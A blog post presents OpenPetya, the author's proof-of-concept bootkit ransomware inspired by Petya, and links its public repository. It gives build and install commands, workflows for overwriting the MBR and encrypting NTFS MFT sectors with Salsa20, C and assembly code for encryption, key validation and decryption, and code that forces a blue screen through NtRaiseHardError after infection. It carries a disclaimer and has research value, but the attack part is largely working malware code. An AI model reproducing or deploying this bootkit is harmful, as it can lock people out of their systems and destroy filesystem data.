[Learning] OpenPetya: A Proof-of-Concept of Petya Ransomware

First Post:

Last Update:

Word Count:
2.5k

Read Time:
15 min

Background

Last month, I posted two articles analyzing both Petya and NotPetya.

Before that, I also wrote an article introducing MBR and bootloaders:

Afterward, I published another article and released a project focused on understanding how bootloaders work:

Recently, I have been learning how rootkits and bootkits work by studying two books: Rootkits and Bootkits and PC Assembly Language. After studying them, I decided to further explore how Petya operates internally. Therefore, I also started studying Serious Cryptography and began developing a customized bootloader inspired by Petya’s design.

Petya and NotPetya really impressed me because of their low-level implementation techniques. This is one of the reasons why I have spent so much time studying them. I believe that the best way to truly understand how they work is through hands-on practice.

While trying to learn their underlying principles from online resources, I found that many of them were insufficient for in-depth learning. For example, some articles only briefly explain the overall workflow, while some GitHub re-implementation projects simply reuse extracted MBRs and bootloader binaries from the original malware samples.

Therefore, OpenPetya serves as a pratical demonstration of my ongoing research into bootkits, low-level system internals, and ransomware design.

Introduction

OpenPetya is a proof-of-concept implementation inspired by Petya ransomware, fucusing on MFT encryption using Salsa20 and password validation mechanisms.

OpenPetya does not aim to exactly replicate either Petya or NotPetya. However, several important concepts and functionalities are implemented:

  • Custom MBR: OpenPetya uses custom MBR to load the stage-2 payload
  • Custom bootloader: The bootloader contains the core logic, including Salsa20 encryption/decryption, password validation, and the user interface
  • MFT encryption: Similar to the original Petya, OpenPetya encrypts critical NTFS MFT sectors using Salsa20
  • Key validation: Since Salsa20 is a stream cipher, decrypting with an invalid key would permanently corrupt the MFT data. Therefore, validation is required before decryption
  • MFT decryption: The encrypted MFT sectors are decrypted after successfuly password validation
  • Restoration: After recovery, OpenPetya restores the original bootloader and removes itself automatically

GitHub repository: https://github.com/iss4cf0ng/OpenPetya

If you find this project helpful or informative, I would truly appreciate a ⭐ on the repository. Your support would be a great motivation for me to continue improving this tool.

Disclaimer

This project was developed as part of my personal interest in studying cybersecurity. However, it may potentially be misused for malicious purposes.

Please do NOT use this tool for any illegal activities.

The author is not responsible for any misuse of this software.

Compile

You can build the project with the commands below.

1
2
make            # Build mbr.bin and stage2.bin
./build.exe # Build OpenPetya.exe

Usage

1
2
OpenPetya.exe --list
OpenPetya.exe --drive 0 --install mbr.bin stage2.bin

Demonstration

How Does Petya/NotPetya/OpenPetya Works?

In this section, I would like to explain more than the internal workflow in more detail than in my previous analysis articles.

If you are interested in the earlier posts, please refer to the related articles below:

Regardless of whether it is Petya, NotPetya, or OpenPetya, the sophisticated functionalities, such as Salsa encryption and password validation, are primarily implemented in C or other high-level languages rather than pure Assembly code.

Petya and NotPetya

Petya was discovered in March of 2016 and demonstrated how ransomware could be implemented using bootkit techniques.

Petya encrypts critical MFT structures. One the other hand, NotPetya encrypts not only user files before triggering a BSOD, but also a much larger portion of filesystem metadata. This is probably one of the reasons why NotPetya’s encryption process takes significantly longer.

OpenPetya

OpenPetya consists of three major components:

  • OpenPetya.exe: The user interface and installer application
  • mbr.bin: The custom Master Boot Record (MBR) used to load the stage-2 payload
  • stage2.bin: The stage-2 bootloader responsible for encryption, decryption, validation, restoration, and the ransomware interface

OpenPetya.exe acts as a user-mode installer and controller application responsible for infecting the target device. It also demonstrates the usage of undocumented Windows APIs such as NtRaiseHardError().

It is worth mentioning that OpenPetya does not include Command-and-Control (C2) functionality. In addition, OpenPetya stores plaintext MFT backup data inside hidden sectors after encryption. This behavior is intentionally designed for educational purposes because those features are relatively trival compared to the core bootloader and cryptographic mechanisms implemented in this project. However, you can still modify or remove these features if necessary.

Workflow

The high-level overview is shown below:

flowchart TD A[Installer.exe on Windows] --> B[Install Custom Bootloader] B --> C[First Boot] C --> D[Encrypt NTFS MFT] D --> E[System Locked] E --> F[User Login] F -->|Correct Password| G[Restore Original Bootloader] G --> H[Boot Windows Normally] F -->|Wrong Password x3| I[System Halted]

The installation phase is shown below (after rebooting):

flowchart TD A[Run Installer.exe] A --> B[Clear sectors 59-63] B --> C[Backup original MBR to file] C --> D[Store original MBR in sector 63] D --> E[Write custom MBR to sector 0] E --> F[Write Stage2 loader to sectors 1-52] F --> G[Write state metadata to sector 60] G --> H[Write password metadata to sector 59]

The encryption workflow is shown below:

flowchart TD A[Boot from Custom MBR] A --> B[Load Stage2] B --> C[Enter Protected Mode] C --> D[bootloader_main] subgraph Encryption D --> E[Read disk size] E --> F[Find largest NTFS partition] F --> G[Backup MFT and VBR] G --> H[Generate salt] H --> I[Derive encryption key] I --> J[Encrypt MFT] J --> K[Store validation tag] K --> L[Update state = ENCRYPTED] end L --> M[Erase stored password] M --> N[Reboot]

Lastly, the login and recovery workflow:

flowchart TD A[System Boot] A --> B[Load bootloader] B --> C[state = ENCRYPTED] C --> D[Prompt password] D --> E[Derive key from password] E --> F{Key valid?} F -->|No| G[Retry] G --> H{Attempts >= 3?} H -->|No| D H -->|Yes| I[System Halted] F -->|Yes| J[Decrypt MFT] J --> K[Restore hidden MFT backup] K --> L[Restore original MBR] L --> M[Wipe bootloader sectors] M --> N[Chainload original Windows bootloader] N --> O[Boot Windows Normally]

Disk Layout

Before infection (by OpenPetya.exe), the disk layout is shown below:


After infection and rebooting, the MFT partitions are encrypted using Salsa20:


After recovery, the disk layout becomes:


How Does OpenPetya Work?

First, the installer (OpenPetya.exe) backs up the original MBR and stores it in sector 63. It then overwrites the original boot sectors with the custom MBR and stage-2 bootloader binaries.

The installer asks the user to define a password for Salsa20 encryption and stores the plaintext password in sector 59 temporarily.

Users (or victims, in this experiment) can either reboot the machine manually or trigger a BSOD using the provided functionality implemented through NtRaiseHardError().

After rebooting, the custom bootloader is executed. It first checks the setup state stored in sector 60 to determine whether the MFT has already been encrypted.

If the system is not yet encrypted, it enters the encryption phase.

1
2
3
4
5
6
7
8
9
uint8_t s = state_read();
vga_puts("state_read() returned: ");
vga_put_hex(s);
vga_putchar('\n');

if (s == STATE_NOT_SETUP)
do_encryption();
else
login();

256 sectors of NTFS MFT are encrypted using the Salsa20 stream cipher and the user-defined password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static inline uint32_t rotl32(uint32_t v, int n)
{
return (v << n) | (v >> (32 - n));
}

static inline void qr(uint32_t *a, uint32_t *b, uint32_t *c, uint32_t *d)
{
*b ^= rotl32(*a + *d, 7);
*c ^= rotl32(*b + *a, 9);
*d ^= rotl32(*c + *b, 13);
*a ^= rotl32(*d + *c, 18);
}

static void salsa20_block(uint32_t out[16], const uint32_t in[16])
{
uint32_t s[16];
for (int i = 0; i < 16; i++)
s[i] = in[i];

// 20 rounds (10 double rounds)
for (int i = 0; i < 10; i++)
{
// column rounds
qr(&s[0], &s[4], &s[8], &s[12]);
qr(&s[5], &s[9], &s[13], &s[1]);
qr(&s[10], &s[14], &s[2], &s[6]);
qr(&s[15], &s[3], &s[7], &s[11]);

// row rounds
qr(&s[0], &s[1], &s[2], &s[3]);
qr(&s[5], &s[6], &s[7], &s[4]);
qr(&s[10], &s[11], &s[8], &s[9]);
qr(&s[15], &s[12], &s[13], &s[14]);
}

for (int i = 0; i < 16; i++)
out[i] = s[i] + in[i];
}

After encryption, the bootloader erases the stored plaintext password, writes the encryption state to sector 60, and reboots the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; Reboot
do_reboot:
cli

.wait:
in al, 0x64
test al, 0x02
jnz .wait

mov al, 0xFE
out 0x64, al

.hang:
hlt
jmp .hang

For safety and recovery purposes, plaintext MFT backup data is also stored inside hidden sectors.

After rebooting again, the bootloader reads sector 60. Since the encryption flag is now present, the bootloader enters the login phase and displays the ransom interface:

Salsa20 is a stream cipher algorithm. If an invalid key is used for decryption, the encrypted MFT data would become corrupted and permanently unrecoverable. Therefore, a validation mechanism is required before decryption.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int validate_check_key(const uint8_t key[32])
{
static uint8_t sector[512] __attribute__((aligned(16)));

if (ata_read(VALIDATE_SECTOR, 1, sector) != 0)
{
vga_puts("validate_check_key: read failed\n");
return 0;
}

if (sector[0] != VALIDATE_MAGIC_0 || sector[1] != VALIDATE_MAGIC_1 || sector[2] != VALIDATE_MAGIC_2 || sector[3] != VALIDATE_MAGIC_3)
{
vga_puts("Validate sector not initialized!");
return 0;
}

uint8_t expected_tag[TAG_SIZE] __attribute__((aligned(16)));;
compute_tag(key, expected_tag);

uint8_t diff = 0;
for (int i = 0; i < TAG_SIZE; i++)
diff |= expected_tag[i] ^ sector[i + 4];

return diff == 0; // 0 = all bytes match = correct key
}

The encrypted MFT data is decrypted only after the password passes validation.

The bootloader also restores the original MFT backup data from hidden sectors in case unexpected issues occur during decryption (for example, sudden power loss).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int ntfs_mft_decrypt(const char *password, uint32_t partition_lba)
{
uint8_t salt[SALT_SIZE];
if (read_salt(salt) != 0)
return -1;

vga_puts("Deriving key...\n");
uint8_t key[32];
kdf_derive(key, password, salt, KDF_ITERATIONS);

vga_puts("Validating key...\n");
if (!validate_check_key(key))
{
vga_puts("Validation failed: wrong password.\n");
vga_puts("MFT untouched.\n");

for (int i = 0; i < 32; i++)
key[i] = 0;

return -1;
}

vga_puts("Password is validated.\n");

uint32_t mft_lba;
if (get_mft_lba(partition_lba, &mft_lba) != 0)
{
for (int i = 0; i < 32; i++)
key[i] = 0;

return -1;
}

vga_puts("Decrypting MFT [");

static uint8_t sector_buffer[512];
static uint8_t out_buffer[512];

for (uint32_t i = 0; i < MFT_ENCRYPT_SECTORS; i++)
{
if (ata_read(mft_lba + i, 1, sector_buffer) != 0)
{
vga_puts("\nRead error!\n");
for (int i = 0; i < 32; i++)
key[i] = 0;

return -1;
}

uint8_t nonce[8] = { 0 };
nonce[0] = (uint8_t)i;
nonce[1] = (uint8_t)(i >> 8);
nonce[2] = (uint8_t)(i >> 16);
nonce[3] = (uint8_t)(i >> 24);

Salsa20_Ctx ctx;
salsa20_init(&ctx, key, nonce, 0);
salsa20_decrypt(&ctx, sector_buffer, out_buffer, 512);

if (ata_write(mft_lba + i, 1, out_buffer) != 0)
{
vga_puts("\nWrite error!\n");
for (int i = 0; i < 32; i++)
key[i] = 0;

return -1;
}

if (i % 16 == 0)
vga_putchar('#');
}

vga_puts("]\n");

//validate_save_tag(key);

for (int i = 0; i < 32; i++)
key[i] = 0;

return 0;
}

After all restoration procedures are completed, the bootloader restores the original MBR, wipes its hidden sectors, and reboots the machine again.

At this point, the Windows login interface becomes accessible normally.

Undocumented APIs

Some Windows APIs are considered undocumented because, although they exist inside critical system libraries, they are either not officially documented on MSDN or are not intended for direct public use. NtRaiseHardError is one example. In this project, it is used to trigger a BSOD after the initial infection.

Note: There are many different ways to trigger a BSOD, such as terminating a critical process. If you are interested in critical process manipulation, please refer to this article.

To use undocumnted APIs, we first need to define their function prototypes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef NTSTATUS (NTAPI* NtRaiseHardError_t)(
NTSTATUS,
ULONG,
ULONG,
PULONG_PTR,
ULONG,
PULONG
);

typedef NTSTATUS (NTAPI *RtlAdjustPrivilege_t)(
ULONG,
BOOLEAN,
BOOLEAN,
PBOOLEAN
);

Next, we need to obtain their exported addresses from the DLL in which they are implemented:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
auto RtlAdjustPrivilege = (RtlAdjustPrivilege_t)GetProcAddress(ntdll, "RtlAdjustPrivilege");
auto NtRaiseHardError = (NtRaiseHardError_t)GetProcAddress(ntdll, "NtRaiseHardError");

if (!RtlAdjustPrivilege)
{
std::cout << "Failed to get export address of NtlAdjustPrivilege!" << std::endl;
return 1;
}

if (!NtRaiseHardError)
{
std::cout << "Failed to get export address of NtRaiseHardError!" << std::endl;
return 1;
}

Lastly, we can invoke these APIs with the proper parameters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ULONG response = 0;
BOOLEAN enabled;
NTSTATUS status;

status = RtlAdjustPrivilege(19, TRUE, FALSE, &enabled);
if (status != 0)
{
std::cout << "RtlAdjustPrivilege failed: 0x" << std::hex << status << std::endl;
return 1;
}

status = NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, nullptr, 6, &response);

std::cout << "Status: " << std::hex << status << std::endl

This demonstrates the basic workflow for using undocumented Windows APIs.

Many security researchers spend significant effort discovering and analyzing undocumented APIs. Doing so usually requires a deep understanding of the Windows kernel, reverse engineering, and advanced debugging techniques. These topic will be introduced in future articles.

Conclusion

Petya and NotPetya demonstrates a significant evolution in ransomware design by targeting not only files, but also low-level filesystem structures such as the NTFS MFT.

The developers behind Petya were clearly highly skilled. ALthough the malware itself was criminal in nature, studying its implementation provides valuable insights into bootloaders, filesystem internals, and low-level operating system behavior.

From a ransomware design perspective, however, Petya and NotPetya were less sophisticated in terms of victim communication compared to ransomware families such as WannaCry or CryptoLocker.

One major limitation is that the attackers relied heavily on email-based communication. In practice, this means their inboxes could easily become overwhelmed by victims, and the email accounts themselves could potentially be seized by authorities.

On the other hand, ransomware such as WannaCry and CryptoLocker communicate through the TOR network.

So why did Petya not do the same?

The answer is simple: implementing networking functionality inside a bootloader environment is extremely difficult.

Inside a bootloader environment, standard libraries such as <stdio>, <stdlib> and <socket> not unavailable.

What? You want to implement networking stacks and socket interfaces in a bootloader environment using Assembly? …Good luck!

This is probably my final article focused on analyzing Petya and NotPetya. I genuinely learned a tremendous amount from studying them.

If you have any suggestions or comments, please feel free to leave them.

THANKS FOR READING